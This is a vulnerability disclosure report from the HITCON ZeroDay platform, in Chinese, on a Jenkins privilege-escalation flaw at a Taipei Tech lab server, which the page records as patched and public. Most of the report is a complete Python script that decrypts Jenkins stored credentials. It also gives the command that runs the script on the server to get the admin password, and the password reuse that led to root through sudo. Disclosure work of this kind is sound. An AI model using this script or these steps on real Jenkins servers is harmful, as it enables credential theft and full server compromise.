臺北科技大學 server 權限管控不當 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-01082
  •  發信 Vendor: 臺北科技大學
  • Title: 臺北科技大學 server 權限管控不當
  • Introduction: 權限管控不當
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2020/12/19
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2020/12/14 22:35:05 : 新提交 (由 entroy 更新此狀態)
  • 2020/12/15 00:00:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/15 14:10:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/15 14:10:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/15 14:10:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/17 21:50:53 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2020/12/18 11:38:49 : 未修補完成 (由 entroy 更新此狀態)
  • 2020/12/18 14:10:40 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2020/12/18 14:14:13 : 確認已修補 (由 entroy 更新此狀態)
  • 2020/12/18 15:09:42 : 公開 (由 組織帳號 更新此狀態)
  • 2020/12/19 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-01082
  • 通報者:entroy (entroy)
  • 風險:高
  • 類型:權限提升 (Privilege Escalation)

參考資料

攻擊者可利用此漏洞提升帳號權限,如其他使用者甚至管理者權限。

漏洞說明: OWASP - Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

漏洞說明: OWASP - Testing for Privilege escalation (OTG-AUTHZ-003)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)

漏洞說明: CWE - Privilege
https://cwe.mitre.org/data/definitions/901.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://css-lab.csie.ntut.edu.tw/

敘述

目前已經取得 server 的 root 權限

server 使用的是 jenkins,但是對於權限沒有適當的管控
又因為會直接執行 makefile,所以可以執行任意指令

上傳 python script

#!/usr/bin/env python3
import sys
import re
import base64
import os.path
from hashlib import sha256
from Crypto.Cipher import AES

# configure this to your liking
secret_title_list = [ 'apiToken', 'password', 'privateKey', 'passphrase', 'secret', 'secretId', 'value', 'defaultValue', 'apiToken']

decryption_magic = b'::::MAGIC::::'

# USAGE ########################################################################
def usage():
    name = '\t' + os.path.basename(sys.argv[0])
    print('Usage:')
    print(name + ' <jenkins_base_path>')
    print('or:')
    print(name + ' <master.key> <hudson.util.Secret> [credentials.xml]')
    print('or:')
    print(name + ' -i <path> (interactive mode)')
    sys.exit(1)

# RECOVER CONFIDENTIALITY KEY ##################################################
def get_confidentiality_key(master_key_path, hudson_secret_path):

    # the master key is random bytes stored in text
    with open(master_key_path, 'r') as f:
        master_key = f.read().encode('utf-8')

    # the hudson secret is bytes encrypted using a key derived from the master key
    with open(hudson_secret_path, 'rb') as f:
        hudson_secret = f.read()

    # sanitize keys if copy or base64 introduced a newline
    if len(master_key)%2 != 0 and master_key[-1:] == b'\n':
        master_key = master_key[:-1]
    if len(hudson_secret)%2 != 0 and hudson_secret[-1:] == b'\n':
        hudson_secret = hudson_secret[:-1]

    return decrypt_confidentiality_key(master_key, hudson_secret)

def decrypt_confidentiality_key(master_key, hudson_secret):

    # the master key is hashed and truncated to 16 bytes due to US restrictions
    derived_master_key = sha256(master_key).digest()[:16]

    # the hudson key is decrypted using this derived key
    cipher_handler = AES.new(derived_master_key, AES.MODE_ECB)
    decrypted_hudson_secret = cipher_handler.decrypt(hudson_secret)

    # check if the key contains the magic
    if decryption_magic not in decrypted_hudson_secret:
        return None

    # the hudson key is the first 16 bytes for AES128
    return decrypted_hudson_secret[:16]

# DECRYPTION ###################################################################
# old secret encryption format in jenkins is plain AES ECB
def decrypt_secret_old_format(encrypted_secret, confidentiality_key):
    cipher_handler = AES.new(confidentiality_key, AES.MODE_ECB)
    decrypted_secret = cipher_handler.decrypt(encrypted_secret)

    if not decryption_magic in decrypted_secret:
        return None

    return decrypted_secret.split(decryption_magic)[0]

# new encryption format in jenkins is AES CBC
def decrypt_secret_new_format(encrypted_secret, confidentiality_key):
    iv = encrypted_secret[9:9+16] # skip version + iv and data lengths
    cipher_handler = AES.new(confidentiality_key, AES.MODE_CBC, iv)
    decrypted_secret = cipher_handler.decrypt(encrypted_secret[9+16:])

    # remove PKCS#7 padding
    padding_value = decrypted_secret[-1]
    if padding_value > 16:
        return decrypted_secret

    secret_length = len(decrypted_secret) - padding_value

    return decrypted_secret[:secret_length]

def decrypt_secret(encoded_secret, confidentiality_key):
    if encoded_secret is None:
        return None

    try:
        encrypted_secret = base64.b64decode(encoded_secret)
    except base64.binascii.Error as error:
        print('Failed base64 decoding the input with error: ' + str(error))
        print('If your input was quite large and exceeded the terminal\'s ' +
              '4096 char input limit then you might want to increase it using' +
              ' stty -icanon')
        print(encoded_secret)
        return None

    if encrypted_secret[0] == 1:
        return decrypt_secret_new_format(encrypted_secret, confidentiality_key)
    else:
        return decrypt_secret_old_format(encrypted_secret, confidentiality_key)

# FILE DECRYPTION MODE #########################################################
def decrypt_credentials_file(credentials_file, confidentiality_key):
    with open(credentials_file, 'r') as f:
        data = f.read()

    # old password storage format just contains a b64 value whereas new format
    # dictates the secret should be inside curly braces, so find all we can and
    # then remove duplicates
    secrets = []
    for secret_title in secret_title_list:
        secrets += re.findall(secret_title + '>\{?(.*?)\}?</' + secret_title, data)
    secrets += re.findall('>{([a-zA-Z0-9=+/]*)}</', data)
    secrets = list(set(secrets))

    for secret in secrets:
        try:
            decrypted_secret = decrypt_secret(secret, confidentiality_key)
            if decrypted_secret != b'':
                print(decrypted_secret.decode('utf-8'))
        except Exception as e:
            print(e)

# INTERACTIVE MODE #############################################################
def run_interactive_mode(confidentiality_key):
    while 1:
        secret = input('Encrypted secret: ')
        if not secret:
           continue
        else:
            try:
                decrypted_secret = decrypt_secret(secret, confidentiality_key)
                print(decrypted_secret.decode('utf-8'))
            except Exception as e:
                print(e)
                print(decrypted_secret)

# MAIN #########################################################################
credentials_file = ''

# parse arguments
if len(sys.argv) > 4 or len(sys.argv) < 2:
    usage()
    exit(1)

if sys.argv[1] == '-i':
    base_path = sys.argv[2]
    if not os.path.isdir(base_path):
        usage()
        exit(1)
    master_key_file = base_path + '/secrets/master.key'
    hudson_secret_file = base_path + '/secrets/hudson.util.Secret'
    if (not os.path.exists(master_key_file) or
        not os.path.exists(hudson_secret_file)):
        print('Failed finding required files where I expected them')
        exit(1)
elif len(sys.argv) == 2:
    base_path = sys.argv[1]
    if not os.path.isdir(base_path):
        usage()
        exit(1)
    credentials_file = base_path + '/credentials.xml'
    master_key_file = base_path + '/secrets/master.key'
    hudson_secret_file = base_path + '/secrets/hudson.util.Secret'
    if (not os.path.exists(credentials_file) or not os.path.exists(master_key_file) or
        not os.path.exists(hudson_secret_file)):
        print('Failed finding required files where I expected them')
        exit(1)
else:
    master_key_file = sys.argv[1]
    hudson_secret_file = sys.argv[2]
    if len(sys.argv) == 4:
        credentials_file = sys.argv[3]

confidentiality_key = get_confidentiality_key(master_key_file, hudson_secret_file)
if not confidentiality_key:
    print('Failed decrypting confidentiality key')
    exit(1)

if credentials_file:
    decrypt_credentials_file(credentials_file, confidentiality_key)
else:
    run_interactive_mode(confidentiality_key)

之後執行 python3 python_script.py /var/lib/jenkins 拿到 admin 密碼

其中一個 account 用的是同一組密碼,很遺憾的是這個 account 是可以執行 sudo 權限的
sudo su 拿到 root

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;